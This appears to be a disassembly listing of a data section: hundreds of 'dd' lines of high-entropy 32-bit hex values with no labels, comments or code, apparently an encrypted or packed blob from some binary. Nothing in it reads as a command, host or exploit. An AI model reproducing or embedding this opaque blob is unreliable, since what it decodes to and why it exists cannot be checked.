		dd 99967593h, 540B6A5Ah, 3D665F5Dh, 0F95EF327h,	2336816h
		dd 7AE5E957h, 0BF57609h, 4B50D7F6h, 4E9750F0h, 835B9DB8h
		dd 0C5E9C631h, 88BA1DEBh, 0C3CAD5EAh, 9C082C1Ch, 0FF01211h
		dd 5ECA6A98h, 1A9A4BAh,	0D69CC0C7h, 104E2CEDh, 0AFB4E831h
		dd 6B0191BDh, 25674B70h, 4EBDC06Eh, 71D4F8B5h, 2D480540h
		dd 48034FDh, 148192DCh,	6922198Eh, 982A5E73h, 49ECE69h
		dd 0C114D527h, 0FCF02125h, 1276CA33h, 0D76DBD54h, 5C12B925h
		dd 510340BAh, 4D307668h, 0E9593A26h, 7E40D61Ch,	2BE958E0h
		dd 1293BFA5h, 6F1A12C1h, 6EFF7C44h, 1F958817h, 0C195282Eh
		dd 6E1ED616h, 33FBC612h, 0FFF4EBE8h, 37942737h,	0AE3F12AAh
		dd 0D135C2B6h, 5D6005Dh, 11A863Ah, 1DF5E3EDh, 57B14B08h
		dd 7C959D5Eh, 0C2277B8Bh, 5AF6FCADh, 4B0F71h, 777D7AA9h
		dd 78CE903Fh, 13799CE9h, 2882EA30h, 8CE64307h, 5C85190h
		dd 0F83A029Dh, 0E8685912h, 0FC6908FCh, 40370027h, 20E9464Fh
		dd 9BCC104Fh, 0A25A4F80h, 901F2272h, 0C103C488h, 840A81EFh
		dd 5D3102CAh, 7F5B1410h, 344E647Eh, 0FD29FEC2h,	9B126ADBh
		dd 0FE5B15E8h, 0F0E9CC6Ch, 254BA420h, 643216D9h, 0BFFB508h
		dd 64FD8B2Eh, 6C880FC3h, 8FAB230Ah, 0F2E961E3h,	0C2902A5Eh
		dd 0B01525B1h, 8F4F30FAh, 2326BA20h, 2C03883Dh,	0FCA0DED6h
		dd 78A93A55h, 0E17B5C8h, 0FB48D18Ah, 88290112h,	0D2F035Bh
		dd 0C524747Dh, 0D8E78056h, 265A9D3Bh, 0A81019EDh, 8BBE3A82h
		dd 50426372h, 31D61C18h, 8F198CEh, 689DD987h, 971C8B99h
		dd 5FD88DFEh, 425EB47Ah, 1C63DCB5h, 80A2B3B0h, 3ACDEB38h
		dd 9EC3BAD3h, 0D86E285Ah, 431E485Bh, 2160A62Fh,	38037AB9h
		dd 0C9817146h, 524EA876h, 45C22768h, 61FE7466h,	9143C09h
		dd 90278D9h, 74EB76C8h,	1C6A6156h, 95093602h, 0C4AD503h
		dd 1269CAC0h, 0F780D3BEh, 0BF24DF6Dh, 6897070Fh, 0C1EF81E0h
		dd 2E117E4Ch, 80BB3D4h,	2C40158h, 4CB4805h, 0CA2D0F6Ch
		dd 4032F932h, 68125F08h
		dd 38BE6748h, 1D4B872Dh, 90592788h, 27F6F4C4h, 0F182F5Bh
		dd 1400E0BEh, 0CE8117DBh, 4B5848F7h, 2BA9B11Ah,	0DE049DB2h
		dd 81D4E5CDh, 31140B51h, 36503E15h, 256D5808h, 0A4C4D3A2h
		dd 2D5C2D9Eh, 1935025h,	0E0628CBBh, 23DE0978h, 2EE9D202h
		dd 586B6F10h, 69B04EFh,	0C02A01h, 1B0A20h, 0B7F68154h
		dd 90FD471h, 16CBF74Ch,	4BD27791h, 83B34959h, 0E214ADCFh
		dd 698F14AFh, 5E7F01ACh, 0A1E90FF8h, 5A3A1628h,	0EAC5CF16h
		dd 0E9FE9970h, 8C134952h, 3AA0F602h, 60D5E887h,	67F11DBDh
		dd 420A0C5Ch, 5E5D6477h, 0D00820EDh, 0A462140Ch, 27DC5B0Eh
		dd 9A4162h, 0DA31D3F7h,	6009AFE5h, 5D7CFFAh, 89E9FB86h
		dd 48856A3h, 0EA2E1106h, 314ABECAh, 2FD92122h, 87732461h
		dd 0C8461A98h, 624230Ch, 0D6254068h, 2C91A6D1h,	23D1AFABh
		dd 0E6685841h, 0F660AB2Ah, 9C9361E9h, 0A9F6E9ADh, 486E7752h
		dd 0FD74C4C4h, 79C7A2BFh, 5FAFBA49h, 0CF0F8BA8h, 5DC7800Fh
		dd 0F5AAE453h, 7CFBD9EBh, 6283503Ah, 0BF2E5A41h, 0D829FD40h
		dd 3728BF2Dh, 76A410D5h, 0BE1E30F1h, 0DA3D02C1h, 0B0546E0h
		dd 43EC6F85h, 0FD64E948h, 53C376BDh, 8C9F8217h,	2BB175D1h
		dd 9ADB62E4h, 5CF25FE0h, 0C643D40Bh, 0D677EF81h, 0C10204Eh
		dd 55133305h, 4BBAF2E9h, 86689897h, 12B79CFFh, 0D4B50B1Bh
		dd 27C6AB5h, 2E3C1467h,	420562F7h, 2D185AEh, 8551CBB8h
		dd 0BACF9D13h, 18E17EB8h, 0B0502280h, 84FB77Bh,	0F4205B04h
		dd 77DE13C1h, 7F5410A7h, 0C0FBC507h, 0DDF60851h, 8249F360h
		dd 4CFF4B77h, 0E77697AAh, 8CEA3084h, 1002BC88h,	0B705ABA8h
		dd 0BFFA20F3h, 0AB8690C4h, 0C022B006h, 2C050428h, 944FE948h
		dd 0F2BFD684h, 7FCB9FB6h, 0CC272044h, 0F4561462h, 954F70E5h
		dd 0B7051BDFh, 9526B6C0h, 5CF1F86Eh, 603DB119h,	7083C4A7h
		dd 0EC90E530h, 970FB652h, 0E49EC680h, 788C9FEh,	127E2A6Ch
		dd 2E624A7h, 59D7038Dh,	0C242F25h, 5613C468h, 0A0BD7601h
		dd 0CC6E305Dh, 0B96FD7Dh, 654ABF02h, 0F7F68011h, 9DEC1378h
		dd 0CEB1BDD8h, 2F9FAB08h, 0AA9BF950h, 0E5EA7235h, 6F5E6A85h
		dd 0B021AC49h, 83723F15h, 38B6A8E4h, 2FE83E5Fh,	3CF2BADh
		dd 0D1D60916h, 56396BE2h, 8138BF24h, 0F028A604h, 6166D12Ch
		dd 0F4CE209Ah, 0AB9A940h, 3F6534C5h, 0D33302B2h, 0CEE10B7Ah
		dd 0BD5FAE22h, 49193002h, 5470403Dh, 41E52618h,	7482672h
		dd 704B1BB6h, 3E60FFCBh, 6E7D20EFh, 1C425E02h, 7292BE9h
		dd 285650B9h, 2A900934h, 1EA831Eh, 0F60C0B66h, 0B75E2489h
		dd 414FC1ECh, 0D6B07845h, 13E3F0B4h, 0FA5F0B6Eh, 1C102E52h
		dd 36A2670Ah, 0F00DFF62h, 121A9737h, 1ADAE8C2h,	704ABA27h
		dd 554DF6DFh, 2A40C48Ah, 16910206h, 0FACE0108h,	0EC4BFF9Bh
		dd 0B3465BC4h, 5816AF47h, 0F64ADD5Ch, 9EF94A84h, 0C72C302h
		dd 0A8DD66E3h, 0C3308E9h, 4CB01F7Dh, 0A57A24E9h, 9771489h
		dd 7896D75Ch, 1026B69Ah, 3F8E2F78h, 5E2F5E38h, 3B40B965h
		dd 0FF8917C9h, 22FA465h, 0AF9D403h, 16D11C99h, 0EB8F07F3h
		dd 6A4EE285h, 72E9A6DEh, 0B8CA02A3h, 0E92F3820h, 694A2F42h
		dd 0EE4AB985h, 0DDC8BB4Fh, 2D1CCE18h, 4A7D7228h, 0FCAFC99Ch
		dd 0A0B9183Dh, 28035625h, 83272644h, 0FDCB96CDh, 0AE0884F1h
		dd 1AB5BE12h, 9728F22Bh, 95AE9D1h, 2719F63Bh, 2AA265Fh
		dd 4F063006h, 8E27867Ah, 14E90E0Ch, 1AD2415h, 267A4405h
		dd 6864681Eh, 0AFE91324h, 1C3FA1B1h, 80C30EBDh,	5806314Ch
		dd 20E60D95h, 4297D6Eh,	3CF0FF52h, 0EEFC9559h, 2DDB2573h
		dd 3024CDF5h, 437FBA4Fh, 781BD22Dh, 13F776A8h, 801EE957h
		dd 1518BA78h, 83F420FEh, 6035E55Fh, 0D0D8A2FEh,	57AD25C5h
		dd 0C8301546h, 57C3E3BEh, 7B8E127Ch, 3C10BE01h,	5D0C6B08h
		dd 25E088A8h, 8731B76h,	12C168DBh, 0B38BE905h, 0F75F8740h
		dd 0E4F931D7h, 108DECFh, 0FCBD55D1h, 20ECC1F6h,	0F993736h
		dd 8F7D153Bh, 9DCA1FB7h, 0F57AF7CBh, 79B9B2A0h,	9098692Ch
		dd 7EBD479Ah, 68A8D07Fh, 4CEDE3C1h, 94303E37h, 0B83912C5h
		dd 0E90804A9h, 3532BB33h, 16BE5C8Fh, 1690CB5Eh,	81534F2Ah
		dd 7853AECh, 88A32067h,	3D4BF469h, 0A9C4E7C4h, 1C9353B8h
		dd 262EA4BBh, 7FDC08BEh, 5268590Fh, 0FCE56F5Eh,	2820AB8Dh
		dd 59260940h, 0F20E4761h, 2870BE73h, 4F118ABEh,	0E62AB0B7h
		dd 0BA4F4266h, 2F6BB681h, 780139F4h, 587C0A7Fh,	0D4CDC93Fh
		dd 0F505808Bh, 0BFEEE983h, 16B5A3EEh, 7CB9377Ch, 2502B494h
		dd 52209C62h, 1F21E58Eh, 804D4BE0h, 701DCD1Ch, 12563515h
		dd 0A13E33A0h, 0B7E12BB6h, 0BA2CD0D9h, 0C676B779h, 0ABF8A256h
		dd 7F0175AEh, 6F4D044Bh, 83C952F2h, 0DC5B6084h,	7D41501Fh
		dd 3C202731h, 5BD9975Fh, 18596789h, 0FBF5701h, 7911043Eh
		dd 0ECD5FA2Bh, 405F85h,	6DEABB54h, 0FF9543C0h, 8403D402h
		dd 56648FECh, 2DEF5487h, 0C2D16850h, 714DBE68h,	0CE18165h
		dd 2C310321h, 20F922Fh,	16EF1787h, 1B132173h, 970474A2h
		dd 41856000h, 7A9F6ABAh, 392EBCBEh, 61132DDCh, 0CCDE43A1h
		dd 2991C4F6h, 99764C1h,	4BDC5F16h, 0CFEEC716h, 0E90C6192h
		dd 936F4C7Ah, 0DC825D0Fh, 54881675h, 0ECAC86C7h, 27FB94CEh
		dd 4D24854h, 47B757D1h,	29773069h, 4C1102F2h, 5856027Ah
		dd 3720DB52h, 525B2DA3h, 16963457h, 5D8823E9h, 37648907h
		dd 44ADB551h, 5197FC9Ch, 0F56E5796h, 0DFEBEFAFh, 78011625h
		dd 497D2DA4h, 85AC4AE5h, 2C97E70Ch, 0B6381EB5h,	11D649D1h
		dd 253B9577h, 0C2799A75h, 8E6D7EA9h, 38E4BDF1h,	451FEF31h
		dd 660B3A89h, 3AAB034h,	61CA3B36h, 13E02DBEh, 7FB82977h
		dd 751C3EEDh, 0ED4813FCh, 2BDD1209h, 20B5F2A8h,	0F8A0732Ch
		dd 39B40E05h, 408FD97Ah, 0B142E95Eh, 12148A92h,	69D7EE53h
		dd 0C1A1FA28h, 7211CA48h, 70A12E6Dh, 0C5BA0705h, 59D1FA0Ah
		dd 762C88E9h, 645C2D75h, 4EAD75A0h, 292CCC25h, 575A42C8h
		dd 45922222h, 0F40DC60Ah, 9379D11Dh, 0B9884A02h, 565709B1h
		dd 552B05E2h, 0CEDBC028h, 965C65BAh, 72D6101Bh,	4BE7077Bh
		dd 6730281Bh, 0A34711EFh, 0E33A8131h, 21106F71h, 0DF67E06Ah
		dd 5B4E4F90h, 545827A2h, 14E784h, 0C2EFB8BBh, 3A0A9DADh
		dd 0B1680078h, 5F38CE2Ch, 28F8475Bh, 0F34B4C71h, 61B22D12h
		dd 0E44FB130h, 0BA5D6816h, 0D8E909CAh, 896F71AEh, 0B0D1BEF9h
		dd 8AAB5016h, 25AF4CE8h, 5CE1C253h, 0AFBA08A9h,	0E53DCC20h
		dd 7E5B0914h, 7826C2F7h, 1DDCB700h, 93CD74Bh, 0DBFFC68Ah
		dd 0E9564019h, 4CBDD270h, 25C121D3h, 2AD05FBCh,	0B77556E9h
		dd 65BFC5EEh, 0AF7EA7A6h, 0CA633F42h, 0E34FDADh, 0B72F6120h
		dd 0D89D5E40h, 0F12ECFFh, 38C7C7D6h, 1A98D94h, 10361611h
		dd 2E7AE42Eh, 0C61E5699h, 48017B02h, 54576B2Dh,	606B2988h
		dd 0A8CFE9E4h, 0BD6D92h, 1015F37Eh, 4AC9FA1Fh, 52732118h
		dd 9D04354h, 2DC7C103h,	512CB13h, 0A24A0B0Ch, 0E98C454Eh
		dd 5CD1E0E1h, 77B92D5Eh, 72A36809h, 0DF3D9857h,	5C7CC4B2h
		dd 47F6EE05h, 0FACFEA96h, 0D84A2659h, 0CE82D97Bh, 6E210049h
		dd 8CBF0B6Fh, 0E9EE1401h, 5F13CA5Fh, 4F7B15B3h,	0A3D01628h
		dd 8468156Eh, 94E90CD1h, 67290A2Bh, 0B25D93EFh,	6DA27F90h
		dd 0A7F61D68h, 0DAC35427h, 8562D35Dh, 0C0DD2613h, 0D9F1C626h
		dd 0D8B22227h, 0E9570919h
		dd 8E233E78h, 0ABC2C731h, 0FE07B85Eh, 483C0C1h,	30B3A980h
		dd 9F10FD2Bh, 0C9B1A793h, 0A7BE8815h, 76596F6h,	6DBD8D1h
		dd 3E30F9A4h, 6ACB79A6h, 1F6A025Ch, 827D5619h, 0D9B44CCh
		dd 29E2FDB8h, 9DF25849h, 29CEF380h, 5CC16DF5h, 54173BEBh
		dd 537D3069h, 0B6A87FE9h, 44165ABAh, 0A90026F5h, 1FDC72C0h
		dd 0AC0EC142h, 0F4F73F9Ah, 30135AF2h, 0ECA5310Dh, 2D72B4FCh
		dd 0EB783377h, 0F9F7D173h, 0AAC43034h, 9D471CB5h, 445A8A51h
		dd 970B7215h, 4492AC9Ah, 59F8BC1h, 4C7E9486h, 7905B205h
		dd 0C243801Ah, 0A0F5C496h, 2A7250D7h, 78F0EB42h, 0FA194BFFh
		dd 3D55BA88h, 3162DBDh,	0F9500717h, 8109254Eh, 4A6F76Ch
		dd 0DBEF2F80h, 45762730h, 41C7AE61h, 0B0BEE908h, 33D44C8Fh
		dd 7D7E5842h, 6708B900h, 7E5C177h, 0AAFC5EC1h, 0B46E1F38h
		dd 62D7D571h, 0F47D9DAFh, 0DF92FA9Ch, 5AB85277h, 6CBF4AB2h
		dd 8C6A9757h, 4B13D0DDh, 1FDEBB59h, 517EA460h, 26DC3BEBh
		dd 1CE86C04h, 83A3D6C1h, 146067A5h, 3BB38F60h, 0C1522D17h
		dd 50102AE6h, 32EC5E78h, 0E80BF225h, 0AE391B45h, 0A5025EE6h
		dd 74628E32h, 5C4E4031h, 60B527E0h, 4AFC4530h, 219AC75h
		dd 0E9441F67h, 0A45E5571h, 6833E149h, 0F32F3CC9h, 0D9862793h
		dd 5DE9845Eh, 5070B3DEh, 0CF403D98h, 8BED2F80h,	0D00F2774h
		dd 19C504E5h, 0D2DC590Fh, 0D0F37749h, 0D0EE9CBh, 635C51B5h
		dd 5776A002h, 0D14C24B8h, 0CEFB7517h, 7797E1D8h, 159EFC34h
		dd 85FB025Ah, 4C21F929h, 5840A41Ah, 38F26931h, 10785201h
		dd 800C8146h, 0E941670Eh, 6D9DA6CDh, 0A05BD6D1h, 0DC955E86h
		dd 3058608Ah, 2227E9F1h, 0AEA12072h, 0CB2FC66Dh, 19E67936h
		dd 6CB27597h, 1B206244h, 0C2282F86h, 0C0583E00h, 0DFE708E2h
		dd 5E4DE998h, 9713F997h, 29D5FE54h, 4E7E1EA2h, 59DEF6ADh
		dd 80558935h, 942C4788h, 8AE91632h, 2E0B218h, 5A3541C5h
		dd 0F5F46036h, 3F8220CEh, 7ECAB8A8h, 7ABAE3DDh,	317BEE75h
		dd 21503594h, 0BD5A48D7h, 50A15827h, 60050932h,	7217F2CAh
		dd 0F2026265h, 5D29E9D3h, 4F8379D6h, 93B4255h, 0AB71D464h
		dd 0B40BA0F0h, 4EB77Dh,	0D01C9846h, 3B7B9F75h, 155BDAA0h
		dd 85C38390h, 9DB97C5Dh, 7D1DF182h, 2264EC7Dh, 0B824742Ch
		dd 66F91A5h, 4D1028F8h,	307909ACh, 0EACB6757h, 25201DB8h
		dd 56A70932h, 18773CA9h, 626DE90Bh, 5E8D5B82h, 5B70105Dh
		dd 0A52D4C5Dh, 43AF669Dh, 0BCA495E9h, 1BF2E632h, 9A6D7EC8h
		dd 0DE5FD485h, 44EB4E92h, 12FD7CF8h, 916979A1h,	7A75F605h
		dd 0D6B8016Bh, 6F035463h, 816B9BE1h, 55A4C9Dh, 74FA9606h
		dd 8FB84842h, 0FC5BE44Ch, 8CBC12D2h, 7EECE629h,	6ED99F7Fh
		dd 13BA0C92h, 0CF09AC9Eh, 79AF5F68h, 26E44851h,	297F0044h
		dd 96E91A0Eh, 593EC264h, 0B0A452F8h, 56276843h,	0CFF05E5Ch
		dd 91488D46h, 1E12175Ah, 0E59F80FFh, 4476C42Fh,	10D0EB1Eh
		dd 0C31D1FD8h, 0ED133196h, 1750EB6h, 1AA7EB01h,	0CE0AA257h
		dd 0E22CCA73h, 10C45CEFh, 9A5876h, 7431A1EAh, 9FD00119h
		dd 14A5C745h, 0C0AE4BC7h, 1EFC68E0h, 40C266ABh,	80F3AC91h
		dd 80B22D65h, 0B6013AF8h, 20F509BEh, 4CEA12DDh,	4C9EFC91h
		dd 4D23E1Ch, 9DEB2B5h, 264D5C4Fh, 82BC0ECDh, 0D17E76E9h
		dd 5C5A5C66h, 0D3813A02h, 3148B004h, 37322ABh, 9A73FEF3h
		dd 452BD963h, 2EFC000h,	66D7F600h, 205CB652h, 631EDF7h
		dd 27BFD8DAh, 22A2EF31h, 0FC09712Eh, 8C171665h,	4213BE37h
		dd 4AB22907h, 12211011h, 5203C1EEh, 0E9C60120h,	1B8114A6h
		dd 0E681CE3h, 92862F44h, 80022AA8h, 88D33D92h, 0E994455Fh
		dd 0BD1BC40h, 0D96DD768h, 6C2B8232h, 8240715Bh,	0A7DD7E95h
		dd 42902A8Ah, 4F01EA02h, 470BDF0Fh, 133036C5h, 0B30BADE9h
		dd 618D09ADh, 0BCD7BBA5h, 7F358130h, 0B12E08D8h, 2DC07E89h
		dd 0B55B1BA0h, 70008509h, 773DC981h, 9605F03Ch,	0C2B2110Fh
		dd 0E6F7598Bh, 0C7C10171h, 13D1050h, 271120E9h,	33B60912h
		dd 0D4353881h, 5F8C6070h, 0EEFC3012h, 6F7D470Ah, 8817535Eh
		dd 412FE7E0h, 0CAF260CCh, 0B90182B6h, 364125C0h, 0D02BFC71h
		dd 15E5EFF0h, 68122A09h, 0A5FFF603h, 59E9CE7Fh,	5827D5F2h
		dd 0E3603579h, 5FA3FE9Eh, 30748229h, 0DC2DEEDCh, 4CDE1E8Dh
		dd 0EB73F0F9h, 1B15DB0Ah, 4700FC1Ch, 0E9E0C3DDh, 251092A8h
		dd 32775456h, 0FCE9D7A4h, 0AFA96050h, 0C94D6660h, 5BEF33C0h
		dd 7C01BB7Bh, 733837FAh, 0F603C742h, 0E38C8757h, 0BA09956Ah
		dd 8BFF01D7h, 0A04BD655h, 234CA0E7h, 2E71739h, 1018ED53h
		dd 0BB3B94B6h, 2FFB47D0h, 67D43389h, 587034C4h,	20F557F7h
		dd 216CE11h, 17BE7B75h,	3061FA67h, 0E95808C7h, 40491659h
		dd 0F381FF38h, 20F04781h, 0F03B5F75h, 3F026BEFh, 5C686634h
		dd 8BD9717Eh, 0B1596197h, 0A60B163Ch, 48CB423h,	0E3C17D30h
		dd 2D36AA04h, 435B24C6h, 8803023Bh, 48774540h, 9AF29551h
		dd 0E8C113A6h, 1A04AB0Ah, 0F9353AD5h, 92DA268Ah, 443271ADh
		dd 0BDA4C851h, 9558B940h, 0E961E273h, 0A87A9F26h, 6A8BDE2Ch
		dd 0E989D461h, 0E30A15DEh, 0F04BE57Fh, 30F09822h, 81457597h
		dd 7F171250h, 0C006E6C1h, 82FD7C3Ch, 947AF7BAh,	68842F96h
		dd 35D86E72h, 0F62300FBh, 0FE11355Bh, 0E912FF21h, 0B5FA5F1Bh
		dd 3B7D20F5h, 15EEE597h, 8002F0E4h, 0EB28ACEDh,	0E1F7004Ch
		dd 0C5E86F42h, 0B006CA75h, 0E9FF12A6h, 7E0D89D7h, 9FE2DE4h
		dd 928D00DAh, 0B870BB39h, 62FF0BE7h, 0FA05256Ch, 4C52AFC9h
		dd 170DE2BAh, 90AB5EF3h, 0A74F4B62h, 7124765h, 7B92B90Bh
		dd 0D25E17E2h, 0F2901EEh, 6EA38282h, 71BE619Eh,	0BF578350h
		dd 2F7F74C3h, 7FE12914h, 7D0BCA18h, 3541C70Bh, 12C2C3Bh
		dd 670DCEBBh, 0C7212977h, 8327356Ah, 0C12DF6F6h, 0CF3ED4E8h
		dd 0AAAB6CC4h, 8B8BBCBDh, 50A83D8h, 0C5156099h,	0F7A0DB0Ch
		dd 4087B0D1h, 69FA9565h, 0DEB78DB2h, 0D4205B7Ch, 0C281039Ah
		dd 0A01AE59Bh, 6EAF0C04h, 9FA3C48h, 9D60737Eh, 0F8248859h
		dd 0E35B715Bh, 0D2EFF2C5h, 6A4B73h, 3833B89Dh, 578619Eh
		dd 28CB03DFh, 0F33AA2E1h, 0A423AF75h, 32D42EA9h, 76F0D1AAh
		dd 80138991h, 0DAE487C2h, 45BEA57h, 72E38841h, 599E6718h
		dd 0E3C53C86h, 0A9B8967Dh, 0FE025C89h, 0BA755902h, 54426001h
		dd 1CF595FEh, 58E82001h, 9AEF8028h, 0C775E775h,	3CB8667Ch
		dd 7E1A0769h, 28B30774h, 59EE87FEh, 0D32C0FF2h,	1FA46395h
		dd 0B8505F07h, 0B10A4513h, 0E0B5E940h, 0E58AFE20h, 79B4BAD2h
		dd 6BE44146h, 0B3FFA784h, 0A6882B0h, 0B521D13Ch, 73360064h
		dd 814A232Eh, 6199F60Eh, 79B0F336h, 32626004h, 0DC2854B4h
		dd 0ECC05B01h, 80C4FE08h, 0E7ECF7C9h, 21043958h, 0F89D453Bh
		dd 0FE66132Ch, 0B200FB8Ah, 0B6B450CEh, 0C02ECCFEh, 0EC0A8BE4h
		dd 8E052810h, 8307E188h, 0D107CAC1h, 49F10EBBh,	953A506Fh
		dd 0C1BCAD5Fh, 17F9C440h, 812F0D97h, 6E0DFDF7h,	5F858CB8h
		dd 0E49C6477h, 20090537h, 5D602Dh, 69323F88h, 0FE2FED1Fh
		dd 8159D760h, 4B6812E9h, 0C17C00BAh, 93BF8CDCh,	9ACD313Eh
		dd 0D7605D17h, 2B58A9E1h, 674922E9h, 7A3CFFE5h,	0C0E0CB5Ch
		dd 4938102h, 0A9CE9057h, 5DE08357h, 604BCA16h, 27176B8h
		dd 0E932271Dh, 0C57FAE45h, 57EE961Ah, 8B84EE5Eh, 9ED432F7h
		dd 0AE4A4E38h, 9C10A0D9h
		dd 5F8801C7h, 0CF43011Ah, 7B194F20h, 0A5A00402h, 51E5CEEh
		dd 0BF8E08E9h, 2E7E0C8Eh, 86DC76ACh, 0C0AE6268h, 3C22E20h
		dd 16BF055Ah, 14A869E5h, 0CB099DFEh, 21F38EE9h,	0EA81CAA0h
		dd 61F3D63Fh, 764E910h,	64415725h, 427D3076h, 35145AB3h
		dd 4FF24F0Bh, 0C11FBF0Eh, 0F0CB9056h, 5712BD64h, 4AB84401h
		dd 680B0CD0h, 0FAE61F42h, 2A38218Bh, 39628908h,	83F37F6Bh
		dd 5E040C20h, 83C3E958h, 750260ADh, 29AA32F7h, 0DF015BC0h
		dd 54CEB29Dh, 25D5C391h, 8BE6FF85h, 0B203914Ch,	0E911CC3Fh
		dd 94D7E9BFh, 74B295CDh, 0A5BC7940h, 34925F81h,	846CFB6Fh
		dd 0CA3AF180h, 8BB5BB2h, 8409D80Ah, 0D2C9B055h,	2D1ABD2Dh
		dd 3A32A000h, 18B73315h, 4FE947FFh, 801CD492h, 312849B5h
		dd 0F75EF528h, 0D541B607h, 86B012Bh, 5D160850h,	0F59065D1h
		dd 551B416Eh, 82C49734h, 711506C0h, 0BDA8FD63h,	8C982508h
		dd 5D5EEE31h, 5D4051ACh, 0D1794015h, 5925E277h,	0DC5AD3h
		dd 559F68B1h, 3863EF81h, 97269C3Ch, 3DB46435h, 0FF9BBF71h
		dd 0B6026992h, 240FC098h, 5007E728h, 53DEF658h,	0F26B33Fh
		dd 1408D4F3h, 751317A5h, 389E98BEh, 0C1852270h,	6A52BDE9h
		dd 27B59441h, 0B1033A62h, 0DD290D12h, 0F9BE3374h, 0D4B7CDE1h
		dd 7F04FE2Eh, 30FB4568h, 0C09BB14Bh, 0F608E10Fh, 5A27E9D1h
		dd 8EBB2779h, 753DE8D3h, 0DE26DD9Ch, 76286B09h,	0CA315A86h
		dd 0BDDA2A53h, 87B4F860h, 531CD4F6h, 633EB050h,	2706E08Eh
		dd 26DE0306h, 0E5A1D613h, 0D3C1AE03h, 660A04D3h, 0A3995BE9h
		dd 175407D1h, 47D25767h, 0FB5C049Eh, 0E9090C8Bh, 13DD54E3h
		dd 9DD0C119h, 846FB93Eh, 949C5AD5h, 9FC90781h, 0D250F709h
		dd 85F201E9h, 0D283B272h, 0BF8C68F6h, 0A8FABAh,	0CCCF817Dh
		dd 0E9222B53h, 64C39C4Ah, 0B60B14Bh, 4865447Bh,	28F05FFh
		dd 0C8989A82h, 8B70BAFBh, 0D8B0AA04h, 0EDAB882Ch, 1BAD4BE7h
		dd 0BD19BD79h, 16FD7A55h, 93D7E65Ah, 0E4A4F2D7h, 93AAEDBBh
		dd 20A98504h, 74022BCh,	0F30B4EE9h, 0B668020Fh,	660E1478h
		dd 11B909C7h, 3CF45682h, 5F170CE8h, 1C9D1FFFh, 9D20E86Fh
		dd 826C47Bh, 0C9AEE844h, 5B05206Bh, 1EED4D1Fh, 0FC66868Bh
		dd 0A205966Eh, 8017CF3Bh, 0D068478Eh, 62459C57h, 0B8B6Eh
		dd 491ED6CBh, 0AF0CD37Ah, 58871159h, 0E14FE26Fh, 0D0640AE9h
		dd 7C1A1D35h, 447C277Dh, 1535A25h, 0EFAB824h, 12A76E9h
		dd 0ADDCD988h, 0AFF3A80Fh, 0F5D28332h, 542C1858h, 6900085Fh
		dd 8133EA40h, 2F3C7BE2h, 565E306Eh, 5775B900h, 7A1B81Eh
		dd 2DF11207h, 7116416Ch, 0F6F0FAE9h, 0F61FB22Dh, 0EFB0801Fh
		dd 0E9C4B551h, 0D378A230h, 9879A0C2h, 69FE94B9h, 7CC8405Fh
		dd 85C5BD0Eh, 9134D727h, 5332DE88h, 7C2CAC80h, 0C5525B47h
		dd 1D81BC51h, 25CCC721h, 7E3024F7h, 80C825EEh, 805D6C4h
		dd 5C7A0D99h, 754EEFC0h, 297E1FBFh, 590C824Ch, 0B8D027E9h
		dd 8E6C01Eh, 0A3C81B09h, 2D7AC34Fh, 0A85FF606h,	1214C6BCh
		dd 4E5720BAh, 0ECBF85Fh, 40B34127h, 617FE681h, 855CC59Eh
		dd 0F7D6D162h, 0C9673E5Eh, 3256A9FFh, 792CA901h, 0F02B6902h
		dd 5D49FFDBh, 0E92DD414h, 0D53C42CCh, 892DE94Eh, 1A945752h
		dd 475462CBh, 1B66007Dh, 0E9430C86h, 0BA11F4Eh,	0A82DB87Bh
		dd 1E4A4CBCh, 28C8C2B5h, 0FB5622EAh, 0CE6F75Ah,	54ADF797h
		dd 286030C2h, 807C409Dh, 0F6E11DE7h, 61BE7CDFh,	95BFE16h
		dd 0D2550EA1h, 2BCB49Ch, 89201038h, 64C29841h, 0D79043CBh
		dd 855BEA0Bh, 0DA80F558h, 7C2AE9EBh, 9660D4B7h,	0D3CFB933h
		dd 0FA9D13BBh, 6B2FF28Fh, 5A689202h, 43F40AF8h,	0D2974ABAh
		dd 0F18E4A3Ch, 0DA386FD9h, 26E91652h, 0E833BF61h, 91C4D1D6h
		dd 5736EF2Fh, 0C72D050Ah, 0C20676B0h, 8ADAC539h, 0F67D4620h
		dd 0EB514F8Fh, 0C968A070h, 6208BC7Dh, 595DBAEFh, 9C96F61h
		dd 79B8AC20h, 6C7AD861h, 0FDA64C2Dh, 4C524F25h,	0BC0C5DB9h
		dd 90CB2880h, 960EBFA2h, 965453CBh, 20BFB464h, 0F8FEC20Eh
		dd 5435752Eh, 686DE801h, 457B055Fh, 0E0C5E92Fh,	2D0BB9DCh
		dd 605D7354h, 1740C988h, 0E110A77Bh, 121E7C41h,	48FC1784h
		dd 6A38EF93h, 0C8DB812Ch, 0B8C5417Eh, 37EA748Fh, 69959703h
		dd 0F27CC4FDh, 0F3AD590Dh, 0D1FD0BD3h, 84512556h, 0E7DC173Bh
		dd 7A6C0266h, 8289FC34h, 756295EBh, 65CFB25Eh, 32A23488h
		dd 781DE15Bh, 0BB5B038Dh, 996E5170h, 6879E2E9h,	0FC5EF51Eh
		dd 0F8F47A93h, 235A396h, 96FEBB67h, 1DF8493h, 585D503Ah
		dd 21E8817Fh, 0DD616FEBh, 0E328806Dh, 89D723DAh, 2CFB7FF3h
		dd 794FA162h, 374EEA5Ah, 0AAE41BEEh, 0F084374Ah, 498257C0h
		dd 24317B10h, 81686562h, 6F2AFCBDh, 9674EC63h, 2B3EC89Dh
		dd 0F26BE30Ah, 0AF797F6Ah, 81B82997h, 77DE09F1h, 3C460C82h
		dd 0A4260B9h, 3408B888h, 5D14090Ch, 55163CF3h, 702DCB52h
		dd 0B054BD2Ah, 0B76BF0E9h, 9209902Eh, 640115C6h, 0F7723217h
		dd 0E9C446DEh, 0EA405970h, 0C82CD139h, 0C89212AEh, 0D05E891Fh
		dd 74CBDEADh, 0BB601BDEh, 7D4D0F37h, 87D2270Ch,	0BA688D7Ch
		dd 63E18313h, 0F28AD87Ah, 6615E58h, 7B1B442Ah, 72E92492h
		dd 6271A568h, 82145469h, 8802E968h, 0DCD54969h,	54B5D8F2h
		dd 0FCF44B5Fh, 9865527Ah, 0E7FE60E6h, 7506ACBFh, 8FFC255Fh
		dd 301BB400h, 2D5FF931h, 27298B0Eh, 2F8D7447h, 0D35D63AEh
		dd 0EA58BADDh, 0E865DD80h, 3915263Fh, 0FC2E14A5h, 954A7013h
		dd 0B7A83C55h, 2795DF66h, 176ADF88h, 0BA40529Eh, 0E94B746Dh
